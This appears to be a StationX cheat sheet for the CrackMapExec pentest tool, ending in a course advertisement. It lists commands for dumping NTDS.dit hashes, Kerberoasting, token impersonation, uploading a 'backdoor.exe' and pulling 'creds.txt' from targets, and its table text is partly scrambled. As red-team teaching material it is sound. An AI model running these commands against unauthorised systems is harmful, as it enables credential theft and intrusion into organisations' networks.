Crackmapexec Cheat Sheet
Crackmapexec Cheat Sheet
CrackMapExec is an incredibly powerful tool to add to your arsenal. Its ability to conduct
post-exploitation activities against Active Directory environments is unmatched by any other
open-source tool.
Penetration testers or red teamers can harness this ability to perform thorough assessments
of an organization's security posture, identify vulnerabilities, and recommend improvements
that bolster its cyber defense.
Now that you know why you should learn CrackMapExec, let’s get our hands dirty and see
how to use it.
Installing CrackMapExec
CrackMapExec is installed by default on Kali Linux. However, there are several installation
options if you don’t want to use Kali.
If you don’t have the Kali Linux repositories installed on your machine, read how to add the
Kali Linux official repositories to the sources list.
Check out the installation documentation on the official website to learn how to install Docker
on your machine.
Here, Pipx is used to isolate all its dependencies and eliminate common installation
problems. You can also use other Python virtual environments, like venv.
Once you have CrackMapExec installed, you can explore its rich feature set.
[runtime options] These are runtime options -h to display the help menu
that affect the performance -t THREADS to set the
of the command. number of concurrent
threads
--timeout TIMEOUT sets
a max timeout in seconds
for each thread
--jitter INTERVAL to
set a random delay between
each connection
Command Description
Once it successfully logs in with a high-value account, it can use its credential dumping
features to extract NTLM hashes, cleartext passwords, and Kerberos tickets.
Command Description
crackmapexec smb -u <USERNAME> Dump the NTDS.dit file from the target
-p <PASSWORD> --ntds Domain Controller after a successful login.
[vss,drsupai ] <target> You can use either vss or drsuapi as
the method (drsuapi is the default).
Once you’ve gained access to a machine, CrackMapExec is a great tool for performing
lateral movement. It can execute custom commands against multiple machines and blend
into legitimate traffic using commonly used protocols.
crackmapexec ldap -u <USERNAME> Gets the TGS ticket ready to crack with
-p <PASSWORD> --kerberoasting Hashcat to perform Kerberoasting.
<target>
crackmapexec smb -u <USERNAME> Logs in to the machine and lists tokens you
-p <PASSWORD> -M impersonate can impersonate on the machine to
escalate your privileges.
crackmapexec smb -u <USERNAME> Puts a local file onto the target machine
-p <PASSWORD> --put-file LOCAL (e.g., --put-file backdoor.exe
REMOTE \\Windows\\Temp\\backdoor.exe).
crackmapexec smb -u <USERNAME> Gets a remote file from the target machine
-p <PASSWORD> --get-file REMOTE (e.g. --get-file
LOCAL \\Windows\\Temp\\creds.txt.
creds.txt).
It’s now time for you to get your hands dirty and use CrackMapExec yourself!
To learn more about CrackMapExec and ethical hacking, check out one of the courses
below. These are among the 1,000+ courses and labs in our StationX Accelerator Program.
It includes everything you need to jumpstart your cyber security career with professional
mentorship, a tailored career roadmap, and a vibrant community to support your journey.